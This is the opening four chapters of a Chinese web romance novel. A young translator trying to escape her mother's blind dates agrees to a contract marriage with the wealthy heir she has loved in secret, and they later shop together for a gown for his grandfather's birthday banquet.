《和暗恋男神结婚后》
1. Chapter 1
《和暗恋男神结婚后》
也听春和/作品
晋江文学城2025.12.18首发
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京市的秋来得猝不及防,前两日还艳阳高照的明媚天气,因为一场阴沉的雨,阳光在冷风不遗余力地裹挟中一溜烟儿地逃了。
转眼就只剩下满地萧瑟又枯黄的落叶,预兆着这个城市秋天的降临。
过客一样的秋天。
沈词和宴舟,本来也只是彼此生命中的匆匆过客。
就像在盛夏与隆冬之间夹缝生存的秋天,在北方,这样锋利却又透露着温和的秋日总是不能长久的。
半年前,一个天气晴朗的春日,沈词坐在一家颇具格调的小资咖啡馆,喝着一杯65块钱的意式浓缩,面无表情地听坐在自己对面的西装男唾沫横飞。
她这杯Espresso正是这位男士为她点的,因为这是这家小资咖啡馆里最“实惠”的一杯饮品,比不加奶的冰美式还便宜3块钱。
饶是沈词早就习惯了冰美式的苦涩,她也做不到面不改色地喝下这杯Espresso。她唯一能接受Espresso的场景,是熬夜赶方案又不想喝太多水的时候,才能捏着鼻子勉强仰头一口闷。
抛去咖啡本身的品质不谈,这间名为Aura的咖啡馆装修得确实很有格调。沈词上班的地方离这儿不远,但这也是她第一次过来。
通往外界的小径被暗绿色的藤蔓环绕,拐角处错落有致地摆放着烛火香薰,悠扬的大提琴声近在咫尺,又好像从很远的地方传入耳朵。
Aura内部和玻璃窗外喧嚣的林立高楼,像是两个截然不同的世界。它们谁也无法融入对方,也不能够被彼此吞噬消解,就这样井水不犯河水地存在着。
而沈词之所以还有耐心坐在这儿听对方侃侃而谈,完全是这家咖啡馆的功劳。
她刚才借口去洗手间那会儿已经悄悄结了账,连带着对方那杯Espresso一起付了,她随时都能走人。
一首乐曲演奏完毕,侍应生更换黑色胶片的功夫,沈词对面的相亲男也终于结束了他的长篇大论。
相亲男推了推鼻梁上架着的黑色框镜,他脖子前倾上下打量沈词两眼,颇为满意地点点头,说:“很好。”
“沈小姐,我刚才说了那么多,相信你对我的个人情况已经有了基本的了解。当然如果你忘了的话,我在这里可以再重复一次。我今年29岁,复盛科技业务部门主管,本科毕业于师范大学……”
“刘先生,您稍微等一下。”
唯恐对方再度口若悬河,沈词赶忙打断他。
“沈小姐,我不姓刘,我姓李。”
李先生不高兴地指正。
“抱歉,记性不好。”
她尴尬地笑了笑,深吸一口气,反问:“既然是相亲,您不如也听我说一下我的情况?”
“沈小姐的资料我这边都有,”相亲男翻阅着桌上摊开的文档,眼睛眯起来,“实不相瞒我对沈小姐的情况非常满意,我认为我们两个可以达成合作,共同步入美好的婚姻殿堂。”
“……”
沈词同样笑了。
她再度搬出那套早就烂熟于心的说辞,不慌不忙地开口:“李先生可能不太了解我。迄今为止我大学毕业工作一年,工资不高不低勉强够得到京市毕业生平均水平。只是我这个人消费水平高,基本月光。”
“我喜欢玩游戏,每个月给游戏氪金的钱至少占工资一半。”
“前两年生了场大病身体受损,医生说我这辈子都不可能有孩子。”
“最近这段时间我总感到很烦躁,跑去看心理医生,一不小心又确诊了双相情感障碍,一言不合就会发疯砸东西,还喜欢动手打人。李先生应该知道精神病人家/暴不犯/法吧?”
早在沈词说出“月光”“氪金”的时候,相亲男的脸色就已经变得很难看,后面那两句话更是极具杀伤力的重磅炸弹,吓得相亲男抓起公文包一溜烟就逃走了。
“总算走了。”
沈词紧绷的神经得到了片刻的松弛,她从挎包里拿出手机,低着头给杨敏芳发短信:「人我见过了,对方没看上我。」
「妈,我早就离开家了,也没有占用家里的任何资源。您之后要是再给我安排相亲,我一个都不会见。」
「您保重身体。」
沈词靠在矮子沙发上,她长舒一口气,一个人坐在位置上静静地出神。
算上刚跑掉的这位,总共八个相亲对象,无一例外都是被沈词以这种夸张的言论劝退。
希望这是最后一次。
相亲男离开了,沈词给自己点了一杯微糖的卡布奇诺,还有一块布朗尼蛋糕。
身体和灵魂遭受了双重打击,她此刻急需甜食补充匮乏的能量。
好巧不巧的是,Aura播放的音乐也从方才激昂醇厚的交响乐转为空灵又轻快的曲子,像小精灵在草丛自在地飞舞,简直和沈词现在的心情相得益彰。
她低头抿了一口卡布奇诺。
浑然不知与她邻座的那个气质非凡的男人,他坐在身后的位置,饶有兴致地听完了她的相亲全过程。
宴舟今天刚从纽约出差回来,过了Aura门前的花园广场,右手边就是他的集团大楼——雁易集团。
他本来只想在Aura坐一会儿喝杯咖啡就去公司,没想到还能见到这么有趣的场面。
不过现在戏也看够了,是时候回去干正事。
宴舟扫了眼腕上的百达翡丽,镶嵌一整排碎钻的铂金色表盘映出他深邃的眉骨,他眸子微微动了动,起身准备走人。
就在这时,手机震动了一下,果不其然又是老爷子的催婚信息:「臭小子!你到底什么时候才能给我领个孙媳妇回来?」
「爷爷我像你这么大的时候,你爸早都会在地上爬了!」
「我告诉你,你再不想办法娶媳妇,你就别管我叫爷爷了!以后也别来看我!免得我被你气死。」
宴舟抿起薄唇,打算径直忽略老爷子的消息。
但是当他余光瞥到安静坐着的女孩时,宴舟忽然改变了主意。
“你好,请问你刚才是在相亲?”
宴舟走到沈词的位置旁边,礼貌地问。
沉浸在自己小世界中的沈词蓦地被一道有磁性的低音唤回来,她愣了下,拨开挡住脸颊的头发站起身。
“你好你好……”
沈词抬起头,在看清来人容颜的一瞬间大脑宕机。
怎么会是宴舟。
宴舟什么时候来的?
他有没有听见她胡诌的那些话?
沈词内心忐忑不安,慌乱的心脏怦怦跳得比以往任何时候都要快。
原来当你兀自爱慕了许多年的偶像突然出现在眼前时,人是真的会手足无措。过往积攒的所有经验都不足以对抗这一秒的怦然心动,再坚固的城防在直觉面前都是徒劳。
宴舟就是她的怦然心动。
动一次,惦记一辈子。
不仅仅是沈词,宴舟同样也错愕了一下。<
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p>她的脸给他一种很熟悉的感觉,似乎在哪里见过。
然而这种错觉转瞬即逝,根本来不及追捕,也不值得他深究。
“如果你也需要一个人假结婚应付家里的话,你看我怎么样?”
宴舟开门见山地说。
老爷子毕竟年纪大了,总让他为小辈的婚事操心也不是个事。
不如找一个家世干净清白的姑娘协议结婚,既能满足老爷子的愿望,还能让家族里某些人歇了联姻的念头。
“假结婚……和我?”
一时之间,沈词根本反应不过来。
她不仅在街头咖啡馆偶遇了暗恋对象,眼下暗恋对象还问她要不要结婚。
沈词怀疑自己是被那个奇葩的李先生气昏了头,以至于产生了幻觉。
否则天上怎么会掉馅饼,且这馅饼还恰巧砸中了她的脑袋。
“你的资料我刚才已经听那位先生说过了,这是我的信息。”
“你有两天的时间考虑,希望你能在下周一之前给我答复。”
宴舟递给沈词一张纸,上面有他的个人简介。
这张纸还是刘助理帮忙从老爷子那儿偷拿过来的,要不是刘助理眼尖,老爷子恐怕就要拿着这张纸去婚介所了。
沈词小心翼翼地接过这张皱巴巴的纸,并没有打开看。
她深呼吸一口气,像是下了很大的决心似的,直视着宴舟的眼睛,微微一笑,说:“不用考虑了,我同意和你结婚。”
“嗯?”
宴舟挑了挑眉。
“宴舟学长,我也是清大毕业的,我听过你的传奇。”
她解释道。
有关宴舟的一切,沈词早就烂熟于心。
然而眼下她真正站在宴舟面前,只能将其总结为轻飘飘的一句“我听过你”。
只因过去种种,宴舟无从得知,也不会知道。
成为一抹影子,追随曾经的一束光不远千里来到京市孤舟漂泊,本就是她一个人的心甘情愿。
他不需要懂得这些。
“嗯。”
宴舟颔首。
这样也好,省去了很多麻烦的解释。
“宴先生,那我们什么时候去领证?”
沈词捏着那张纸,尽量使自己的声音听上去不那么雀跃,实际上她的胸腔已经快要被鼓点声震得发麻了。
“你如果方便,现在就可以。”
“好,那我们直接去民政局吧。”
沈词挎着包,她走出几步,回头却见宴舟依然站在原地。
“……宴先生后悔了?”
“那倒没有。”
不知宴舟想到了什么,他微微摇头,迈开修长笔直的腿跟上沈词的脚步。
就这样两个人顺利领了证,从民政局出来,头顶炽烈的日光照得沈词很刺眼。
她紧紧捏着手中红色封皮的结婚证,指尖都因为她的用力而隐隐发白。
没有人比她更能明白手中小本的意义。
“看你刚才拍照的时候犹豫了一会儿,还以为你改变主意了。”
宴舟把结婚证放入西装口袋,抬眼看她。
“没,是因为学长长得太好看了,我忍不住多看了两眼。”
她压下跃跃欲试的悸动,笑说。
八年前沈词第一次见到宴舟,往后她将他视为神明的这些岁月里,她无论如何都想不到有一天自己能和他结婚。
不问将来,但惜当下。
她在心里对自己说:宴舟学长,新婚快乐。
2. Chapter 2
「下周五爷爷的生日宴,你记得把小词也带过来。」
「我知道你和小词婚后不常来往,但是生日宴这么重要的场合,别让爷爷起疑心。爷爷年纪大了,受不得刺激。」
早上的会议结束,宴舟这才有空看消息。
他回复宴京:「知道了大哥,我会带她过去。」
和沈词结婚也有半年了,迄今为止还没有很正式地见过双方家长。
当初领完证,宴舟拍了张结婚证封皮照片往家族群里轻飘飘一丢,一石激起千层浪。
家里人都撺掇宴舟,让他把人带回来见见。
宴舟却说不急,只给他们透了点沈词的信息,同时用几张合照和一小段视频令老爷子歇了催婚的心思。
这让宴舟过了近半年的清净日子,这段时间的确再没有这些琐事平白扰他清闲。
但下周五老爷子七十五岁的生辰宴,他必须要带沈词出席,否则肯定会怀疑他。
宴舟从聊天列表里翻出沈词的微信头像,他视线稍稍上移,眼皮微抬。
原来他上一次给沈词发消息都是一个月前的事情了。
他和她早就约法三章:
「协议结婚一年,期满解除婚约,男婚女嫁各不相干。」
「婚姻关系存续期间,男女双方均无需履行作为丈夫或妻子的义务。」
「不得在外沾染烂桃花,或是做任何有损对方名誉的事情。」
宴舟给了沈词一张卡,卡里面有1000万,作为她这一年扮演他妻子的劳动报酬。
此后他便极少主动联系沈词,甚至都没有住在一起——偶尔会在应付长辈突击检查的时候紧急接她过来住。
他最常和沈词说的一句话便是:“有事和我打电话,我来解决。”
然而这半年来,这句话一直都没有生效。
虽然这算是他对沈词的承诺,可这承诺像极了一粒沙,无论是风吹还是雨打,它都不会溅起一丝一毫的水花。
他名义上的妻子,实在让人省心。
宴舟抬手捏了捏眉心,他一边迈着长腿往总裁办公室走,一边低着头单手打字给沈词发微信:「我爷爷下周五过生日,需要你和我一起参加晚宴。」
「有任何报酬你都可以提。」
他回到办公室,抿了口咖啡的工夫,很快就收到她的答复。
「好的,我会配合你。」
「不用报酬,你给的那张卡就够了。」
宴舟绷直了唇角,回她:「嗯,谢谢。」
-
“生日宴啊……”
她岂不是会在晚宴上见到他的家人?
这么隆重的场合,她真的应付得过来么?
她刚才答应得爽快,实际内心已经慌成小兔子了。
当初和宴舟领了证,她配合他拍了一些看似亲昵的合照。他说这些只会拿给家里看,好让家人相信他真的结婚了,照片绝对不会外流。
宴舟是个信守承诺的人。
没多久圈子里就有了宴舟已婚的风声,大家一个个传得有鼻子有眼的,但就是没人能说得上来宴舟的妻子究竟是谁。一问名字,都哑火了。
也许等到他离婚,仍然不会有人想到宴舟和沈词这两个名字能同时出现在一张结婚证上。
沈词拍了拍有些泛热的脸颊,迫使自己的心安定下来。
她决定今晚下班去商场买两件看得过去的礼服和珠宝首饰,再为他的家人选一些适合的礼物。这样在老爷子的生辰宴上,她也不会太丢宴舟的脸面。
“Mia,Chloe晚上组了个局,邀请大家一起去玩,我和Emma也会去。你要是没什么事的话,来和我们玩吧。”
茶水间等咖啡机的间隙,Rachel拍了下沈词的肩膀,说。
沈词想到自己的安排,摇头拒绝:“抱歉啊,我今天晚上还有事,祝你们玩得开心。”
Rachel像是早就料到她会这么说,也不失落,只耸了耸肩,口吻轻松,“猜到答案了,只是Chloe坚持让我也通知你,要不然我才不来自找没趣。说起来你加入凡星一年多了,就没见你跟谁一起出去玩过,团建的时候也不说话,大家私底下对你都有意见了。”
“我们都知道你在Andrew手底下工作压力大,但压力再怎么大,生活总归是自己的,有空还是和大家都聊一聊。”
嗡的一声,沈词的咖啡终于冲好了。
她抬起头,认真地对Rachel说,“谢谢你的好意,我会注意的。”
Rachel看着沈词离开的背影,她哼了一口气,嘀咕:“要不是看Chloe对你有意思,我才懒得跟你说这些。”
沈词坐回工位,咖啡是加了双倍奶的热美式,这个季节喝起来刚刚好。
她去年从清大英语系毕业,这是她的第一份工作。她原本是在公司的品牌策划部做运营推广,然而有一次市场部负责国际大区业务的总监,同时也是公司副总经理Andrew跑到他们部门临时借翻译,后来听说沈词就是清大英语系的,Andrew干脆就把沈词调来了业务部门。
当时沈词参加工作才5个月,倘若拒绝调岗,她就会被公司辞退,又没了应届生的身份,下一份工作会很难找。
京市生活成本高,她又没存款,没办法就只能同意调岗,成为业务部门的员工。
沈词原本所在的品牌策划部工作氛围其实挺不错,同事之间相处得还算和谐,领导Chloe也不怎么摆架子,还时不时组局请大家吃饭。
所以在正式调过来之前,她天真地以为业务这边也会像品策那样友好。谁曾想沈词加入的第一天,Andrew就给了她当头一棒。
Andrew赶鸭子上架,召开技术会议时把沈词也带上了,还让她负责会议口译。
饶是沈词语言水平再高,在不给资料的前提下临场上阵,翻译势必会有纰漏。
再加上Andrew今年都55岁了,没几年就该退休,他脑子记不住事情,总喜欢一件事反反复复说,像是得了老年痴呆。
糟糕的记忆力叠加过分自我的独断debuff,这场会议结束,沈词确定自己的新领导大概率就是典型的NPD人格。
在Andrew手底下工作了这么长时间,她早就通过无数个崩溃的例子验证了自己的猜测。
但凡和Andrew打过交道的人,对他的行事风格也都有所耳闻。
正是因此,Rachel才会说“理解你在Andrew的部门压力大”。
想到这里,沈词又默默拿起手边的咖啡喝了一口。
她平常要应对领导已经够耗精力了,实在没有更多的精气神在同事面前强颜欢笑。
眼看着离下班只剩十二分钟了,Andrew喊了声:“Mia,你过来一下。”
沈词心一凉,来到Andrew办公室。
Andrew使唤别人的时候从来不顾及时间地点,只要他在办公室叫谁的名字,谁就得立即放下手头的工作听他吩咐。
“研发部负责这款产品的技术人员暂时找不到人,但我们必须要给客户展示英文版的文档。这份文件你帮我翻译一下,七点半之前给到我,行吗?”
“好的,许总。”
Andrew本名许畅,在公司一般都叫他“许总”或者“畅总”,至于他给自己起的那个英文名,估计仅客户可用。
上个月财务部新入职的小姑娘还没来得及熟悉公司领导,发邮件直呼许畅“Andrew”,许畅开会就点名提了这个事,脸色非常难看,话里话外都在暗讽那个小姑娘没规矩。
绝口不提他自己都好几次叫错客户名字,还分不清“Miss”和“Miste
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接待的时候许畅总是对着男性客户张口就是“Ms. John”,笑得还很狗腿,沈词站在一旁只想找个地缝钻进去。
看来今天又要加班了。
沈词在心里叹了一口气,她回到工位,开始加班加点地赶工。
市场部堪称整个凡星科技最忙碌的部门之一。
等她翻译好文档,把它邮件发送给许畅,关了电脑准备走人的时候,市场部至少还有一半的人都在工位埋头坐着。
“师傅,去国贸中心。”
晚上八点钟整,沈词站在楼下拦了一辆明黄色的出租车。
繁灯初上,路上车水马龙,再加上今天又是星期五,路上的车本就比平常更多,很容易造成拥堵。
她坐在后座,静静地打量着窗外的霓虹灯。
这里是纸醉金迷的京市,是无数年轻人拼得头破血流也想挤进来的地方,是人们口中机会更多的繁华大城市。
沈词生在京市,又在这里读书工作,可她不属于京市。这里没有她的立足之地,也没有能够被她称之为“家”的偏安一隅。
“姑娘,国贸中心到了,35块钱。”
“好,谢谢师傅。”
沈词扫码付了车费,下了车,她准备先去买送给宴舟家人的礼物,然后再去选晚宴要穿的礼服。
她偶然间听宴舟提起过老爷子爱喝茶,只是像宴家那样在京市首屈一指的豪门,老爷子喝茶所用的茶具价格绝非她能想象得来的,说不定都是博物馆收藏的拍品。
不过虽然买不起茶具,但她可以买两盒不错的茶叶聊表心意。
沈词在国贸一、二层转了两圈,给宴家的每一个她知道名字的人都买好了小礼物。购物袋拎在手中有些沉,她都有点打退堂鼓了,想过两天再来买衣服。
“宴总,宴总您还在听吗?”
助理刘诚见总裁盯着某一个方向发呆,他不禁提醒道。
“什么事?”
宴舟收回目光,不确定自己刚才看到的人是不是沈词。
“是这样,宴总您下周的安排分别是……”
“不急,这个晚点再说。”
宴舟抬手打断刘诚,朝着沈词离开的方向走过去。
“啊?”
刘诚有点摸不着头脑,但他见宴舟头也不回地走了,也赶忙跟上去,“好的宴总。”
彼时沈词才把东西放在长椅上,她腾出一只手准备叫车。
这个点在国贸打车要排很久的队,先约了车再下楼,也好过在冷风中瑟瑟发抖。
“沈词?”
一道高大的身影忽然出现,挡住了她的视角,熟悉又温和的嗓音令沈词心尖一颤。
“宴……宴先生,你怎么在这里?”
“你是来买礼物的?”
宴舟扫了眼花花绿绿的手提袋,心下了然。
“嗯,空着手去总归不太好。但我也不知道你的家人都喜欢什么,所以就随便买了些。”
她有些局促地说。
希望他不会觉得这些礼物寒酸。
“有心了。”
宴舟颔首,他看着明显感到不自在的沈词,接着说,“晚宴要穿的礼服准备好了吗?”
原打算周末和她沟通礼服的事情,既然撞见了,那正好。
“还没有。”
她摸了摸鼻尖,“本来打算今晚买的,但是……”
宴舟顿时明白她的意思。
她一个人拿不了太多东西,就先买了礼物,改天再选礼服。
“刘诚,把东西带好。”
宴舟淡淡地吩咐。
“好的宴总。”
刘诚上前两步,把长椅摆着的所有购物袋都拎在手中,随时等候宴舟指令。
“我现在刚好有空,一起去选礼服吧。”
宴舟说。
3. Chapter 3
宴舟径直带着沈词来到国贸中心顶层,一家只做VIC定制的高奢礼服店Elysian。
Elysian的SA像是都认识宴舟,个个都笑脸相迎。两个人一进来就受到了非常热情的对待,和沈词所了解到的传闻中那个“SA只会用鼻孔看人”的高奢品牌截然不同。
宴舟坐在柔软的真皮沙发上,下巴微抬,示意前来招待的SA看向沈词,嗓音清冽低沉:“为这位女士选几套合适的礼服。”
“没问题宴先生,我们一定尽力。”
SA小姐姐领着沈词来到后面的化妆室,她说:“女士,不知您贵姓?”
“免贵姓沈。”
“好的,沈女士。”SA请她坐下,礼貌地说,“沈女士您本身的外形条件已经很优越了,但是为了更好地呈现礼服穿在您身上的效果,我们还是建议您先做一个简单的妆造,您的意见呢?”
沈词平常上班不怎么化妆,她一般涂层防晒打个底就出门了。在工位坐了一整天,恰好今天还加班多忙了两个小时,她的底妆早就掉的所剩无几,再坚持下去恐怕会跟被水浸过的大白墙有得一拼。
宴舟还在外面坐着。
她不想在他面前表现得太狼狈。
于是她点点头:“可以,那就辛苦你们了。”
同时她从包里拿出手机,给他发了条短信:「宴先生,SA说要先做妆造再挑礼服,可能要麻烦你在外面多等一会儿了。」
沈词给宴舟的备注实际是“宴舟学长”,但说话时仍然称呼他为“宴先生”。
正如他也只会礼貌地唤她“沈小姐”。
他和她都巧妙地保持着该有的分寸和距离。
宴舟:「不急,慢慢来。」
有了他这句话,沈词心里就踏实多了。她舒了一口气,闭上眼,安静地任由化妆师在脸上涂涂抹抹。
不知过去了多久,沈词在这儿坐得都有些困了,上下眼皮子直打架,还要强撑着不睡过去。
“沈女士,可以了。”
SA的声音唤回了沈词飘远的意识。
她茫然地睁开眼,看清镜子里映出的面庞,眼神更迷茫了。
难怪都称化妆是亚洲第一换头术,镜子里的姑娘皮肤白皙,明眸皓齿,粉玫瑰的腮红点缀不深不浅恰到好处,乌黑的长发盘在脑后编成优雅的发髻,露出她精致的锁骨窝。
“沈女士天生丽质,我们化妆师只是稍微修饰了一下,您看还满意吗?”
SA轻轻弯腰,微笑着问。
沈词并不习惯被人恭维,她有些不自在地摆摆手,说:“谢谢,我们去看衣服吧。”
刚才忘记看时间,她担心宴舟在外面等太久等得不耐烦。
“好的沈女士,您这边请。”
Elysian主打私人高奢定制,店里成衣并不多。最终SA按照沈词的身形尺寸为她选了3套礼服,裙摆长度刚到小腿肚,露肤度也还合适。
她选择恐惧症,一时拿不定主意,只好低头发消息求助宴舟:「宴先生,我不知道选哪一件更合适,要不然你帮我参谋一下?」
宴舟:「可以。」
沈词在里面等了一会儿,却不见宴舟进来。
他不是愿意参谋吗?人呢?
等等……宴舟是该不会是要她一件件换上给他看吧?
她又等了两分钟,宴舟还是没有要进来的迹象,也没让助理传话。
“先试这件吧。”
沈词倒吸一口冷气,她指着中间那套蓝色的鱼尾礼服裙,自己走进试衣间。
“沈女士,您这边请。”
沈词换好礼服,她在SA的耐心引导下小心翼翼地走出来。
宴舟闻声看去。
浅蓝色的裙子将沈词裸露的肌肤衬得和牛奶一样光滑白净,裙子上半部分是抹胸的款式,她大片大片的锁骨露在外面,连成笔直分明的线条,很难不吸引人注意。
缠绕的鱼尾裙摆让沈词每走一步都摇曳生姿,她精致的小脸透着一股天然的谨慎和懵懂,好像刚刚上岸,对人类世界一无所知的小美人鱼。
宴舟眸色暗了暗,眼底划过一丝说不清的情绪。
“不错。”
他点点头。
沈词来到他面前,她拎着裙子转了个圈,本意是想让宴舟能更好地看清裙子全貌,然而她脚下一不小心打了滑,没站稳,径直摔进了宴舟怀里。
沈词:“……”
宴舟:“……”
宴舟喉结滚了滚,耐人寻味地盯着沈词。
她羞红了脸,立刻用双手捂住脸,干巴巴地从牙缝里挤出一句:“对不起我不是故意的。”
大庭广众之下对宴舟投怀送抱,她简直没脸见人了。
SA小姐姐垂着手站在一边,她很识趣地低着头,嘴角的笑容却暴露了真实想法。
刘诚则是在总裁伸手搂人的瞬间就背过了身,他化身忧郁青年,四十五度角仰头盯着天花板。
各位看上去都很忙碌的样子。
唯有沈词以诡异的姿势坐在宴舟怀里,一动也不敢动。
“你打算在我怀里待多久?”
他挑了挑眉,声音听上去没什么感情。
“对,对不起。”
沈词连连道歉,起身逃离他的怀抱。
然而当她站好,才意识到脚踝处传来的刺痛。
沈词低头看向疼痛来源,她拧着眉,果真是刚才转圈的时候不小心扭了脚,左脚脚踝都肿了。
宴舟见女孩低着脑袋一言不发,他顺着她的视线望过去,同样看到了女孩红肿的脚踝。
“她身上这件,还有你们刚才给她选的几件礼服,这些全都包起来。”
宴舟拿出黑卡递给SA,皱着眉说道。
“啊,可是剩下的还没试?”
她抬起头,怯生生地说。
她是不是惹他不开心了?不然他为什么看上去有些烦躁。
“你脚都扭了,还能怎么试?”
宴舟反问。
“其实没什么大事,我觉得我还能再坚持一下。”
尽管只是在商场偶遇到了临时决定搭伙,但这是婚后她第一次和宴舟逛街买衣服,她不想就这么潦草地结束。
“我不认为你现在的状态还有继续逛下去的必要。”
他瞥了她一眼,虽是关怀的口吻,却不免显得有些生硬。
“……好吧,我听你的。”
她妥协了。
不一会儿,SA熟练地装好宴舟点名要的礼服,双手把手提袋捧到他面前。
男人只一个锐利的眼神,刘诚赶忙过来拿东西。
宴舟的目光重新回到沈词身上,此时她换好了自己的衣服,正坐在沙发
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弯腰费力地揉脚踝。
“还能走吗?”
“应该……可以吧。”
她扶着沙发背站起来,动作缓慢而艰难。
宴舟摇了摇头,他敛了眉,迈开长腿来到女孩身边,伸出胳膊:“挽着吧,我送你回家。”
“不,不用了宴先生,这太麻烦你了。”
沈词忙不迭开口,“我自己打车回去就行,你不用管我的。”
“沈词。”
宴舟忽然连名带姓地喊她,她绷直脊背,像极了从前被老师点名回答问题,内心紧张又忐忑。
“是我叫你过来挑选礼服,现在出了问题,理应我负责到底。”
他居高临下地盯着她,口吻严肃又不容抗拒。
宴舟身高189,他常年健身,肩膀宽阔有力,即便穿着挺括的黑西装也无法掩盖他健壮劲美的身材,版型再普通的衣服都能被宴舟穿出秀场高定的感觉,让他看上去更加的高不可攀。
沈词站在他身旁,被他衬得娇小可人,完全可以被男人拢在其中。埋在他身前,必然再看不见天花板。
“那就多谢宴先生了。”
他既然执意如此,要是她再拒绝,反倒显得她不识好意。
“嗯。”
宴舟抿着唇,余光看见女孩一点点靠近自己,再把她半个身子的重量慢慢朝自己倾斜,这才算满意。
上了宴舟的迈巴赫,车后座空间宽敞十足,沈词立即松开他的胳膊,自觉坐到靠窗的那边,假装欣赏京市的街景。
他自然察觉到她的小动作,以及她乱飘的眼神,但他什么都没有说,而是和女孩一样保持沉默。
刘诚坐在副驾驶,他暗自为自家老板捏了把汗。
因为时不时要替老板跑腿送花送礼物,还要负责在老爷子突击检查的时候把沈词接到老板家里,所以除了宴家人之外,也就只有刘诚知道宴舟和沈词隐婚的事情。
就老板和夫人现在这种相处模式……刘诚感觉老板可能一辈子都学不会讨女孩子欢心。
“哎。”
刘诚悄悄叹了口气,想当初老板给夫人的那份“相亲简历”还是他帮忙从老爷子那儿拿到的,本以为他促成了一段美好的良缘,没想到是两个不长嘴的闷葫芦碰巧长在一根藤蔓上。
不对,就他老板那性子,有时候还不如不长嘴,老板不说话或许还更招夫人喜欢。
一时之间,迈巴赫内宛如总裁办公室一样安静,四个人心思各异,各有想法。
“宴总,夫人,云锡花园到了。”
刘诚贴心地提醒。
“哦好,你们就送到这里吧。小区门禁比较严,外来车辆没有登记不好进去,我自己走回去就行。”
沈词说着就要下车,结果被宴舟拽住了手腕。
“刘诚,打电话。”
男人抬了抬眼皮,皎洁的月色将他深沉的表情仔细描摹,下颌线锋利而流畅,眉眼处处都透着冷峻。
“明白,宴总。”
一分钟后,原本很难缠的门卫二话不说放行了,宴舟的迈巴赫顺利驶进云锡花园小区。
“今天真的是麻烦宴先生了。”
到了单元楼底下,沈词下了车,颇为不好意思地说。
“都到这里了,不打算请我上去坐坐?”
婚后半年,宴舟想起自己似乎从未来过她的家。
4. Chapter 4
宴舟坐在客厅沙发,他欣长的身形,举手投足之间透出来的优越气质让沈词第一次对“蓬荜生辉”这个词有了真实的体验。
原本装潢普通的客厅因为这个男人的出现,俨然变成了高攀不起的殿堂,连带他坐着的那张沙发身价都翻了好几倍。
她原以为气质都是靠金钱养出来的,红气养人,金钱也养人。然而宴舟给人的感觉是哪怕他穿着最千篇一律、最平平无奇的校服,他也注定会是人群中最吸睛的那一个。
正如当年高三年级毕业典礼,她第一眼就看到了他,也只能看到他。
宴舟站在哪里,哪里就是贵不可言的风景。
沈词定了定心神,她泡了一壶茶,再一瘸一拐地给宴舟端过去。
“我这里没什么好茶,你要是不嫌弃可以随便喝两口润润嗓子。”
她小声说。
今晚在国贸中心为宴舟爷爷买了她能力范围内最好的茶叶,然而自己家柜子里的茶都是在网上买的几十块钱一大包的那种,在他们这种豪门公子哥眼里,这廉价茶恐怕和涮锅水一样难以入口。
宴舟端起茶杯喝了一口。
沈词提心吊胆地盯着他,生怕他皱一下眉头,然后摔门而去。
“你一直住在这里?”
宴舟神色平静地放下茶杯,看向沈词。
“啊?”
沈词呆呆地愣了下,才回答,“这是我租的房子,上大学之前和我妈住一起,大学就住宿舍,毕业后才搬过来的。”
小户型的两室一厅,虽然算不上新,但胜在干净整洁,家具齐全,不需要她再为租房添置太多物品。出了小区门往左走五百米的地方就是地铁口,4号线转9号线可以到达公司,单程通勤时间总计40分钟。
在京市,这样平平无奇的房子每个月租金是6200块,加上水电物业费,沈词在房租方面的支出大约每月6500块钱。
这也是许畅去年强行给沈词调岗,而她无法拒绝也不能跑路的原因。房租押一付三,她那时为数不多的存款都给了房东,身上只剩下不到一万块,实在没有说走就走的勇气。
“为什么住这里?”
宴舟眉眼一抬,“我记得你在凡星科技上班?可是这个小区离凡星算不上近。清大毕业生薪水应该不低,你完全可以在公司附近租一套房,这样可以省很多时间精力。”
他的表情很认真,好像真的只是在平静地和她讨论某件事的可行性,而非带着优越感的贬低与嘲笑。
沈词苦笑一声。
“宴先生有所不知,我是英语系的。我们英语系没有……你们经管院和计算机系那么高的平均薪水,在家里无法托底的情况下,我们只能靠自己找工作。即便是进了互联网大厂,非技术岗年包也只有30到35万,平均每个月税后不到2万。而公司附近像这样的房子,月租至少一万块钱起步,就这都是要靠抢才有机会租到。”
“抱歉,是我有些不切实际了。”
宴舟顿了下,说。
“宴先生言重了,没什么的。”
她摆摆手,坐在离他不远的地方,不由得再次感叹自己和宴舟的差距。
他生来就是天之骄子,宴家是京市数一数二的豪门,宴舟本人更是在福布斯富豪榜上有名,是名副其实的京圈太子爷。就算不工作,家里的资产也够他坐吃山空几辈子,怎么可能会有租房体验人间疾苦的时候。
两个人都沉默了好一会儿,客厅里静得有些诡异。
“我给你的那张卡花完了吗?”
他突然问。
“没,没有。”
今晚其实是她第一次动用那张卡,还被正主“逮”了个正着。
“这么久都没用完?”
“……也还好吧,那钱挺多的。”
沈词尴尬地笑了笑,心想那可是整整一千万,只要她不突发奇想拿去创业或者炒股,足够她在京市一辈子躺平。
“你准备的礼物有心了,这里还有一千万,给你。”
宴舟从西装口袋里拿出另一张卡放在茶几表面,他站起身,说,“今天多有打扰,下周五的宴会希望你能准时出席。”
“脚崴不方便就不用送了,走了,再见。”
甚至没给沈词回神的机会,他就那样离开。
“等——等等。”
沈词扶着墙追出去,然而宴舟已经进了电梯,连片衣角都看不见。
宴舟走到楼下,他下意识回望了眼刚才的方向。这栋单元楼从外面看设施明显有些旧了,电梯和这两年的新房没法比,里面残存若有若无的烟味令他直皱眉。
“宴总。”
刘诚弯腰,替宴舟拉开迈巴赫的车门。
宴舟坐回车里,说:“把她住的这套房子买下来,过户到她名下。另外,在二环里挑一套位置好的大平层,要高档小区的新房,交通便利,最好离地铁站近,选好以后先拿给我看。”
“明白宴总。”
刘诚有些安慰地想,老板总算有上道的意思了。
追女孩子就应该这样!没有一个女孩能抵抗大平层的诱惑,更何况还是京市二环内的大平层。
“宴总,请问您现在是直接回家吗?”
“嗯。”
宴舟阖上眼皮,一个念头从脑子里一闪而过,补充,“明天上午叫尚美的人到君御湾。”
“好的,我这就安排。”
沈词首选的那套浅蓝色鱼尾裙很适合在宴会上穿,若是感到冷,可以再搭一件貂皮披肩,或者干脆穿他的西装外套。
但是宴舟始终觉得还缺了点什么点缀。
方才意识过来,女孩纤细修长的脖颈上空无一物,手腕也光秃秃的,竟然没有一件珠宝首饰。
结婚半年了,除了那对钻石婚戒之外,他再没有送过她任何珠宝。
而且他留意了下,沈词并没有佩戴婚戒。
思及此,宴舟转了转左手无名指上那枚钻戒。
但凡公开场合,他都会戴婚戒,以此来昭示已婚的身份。
那么她呢?
她是不是一点也不在意这段婚姻,只等着时间到了之后一拍两散。
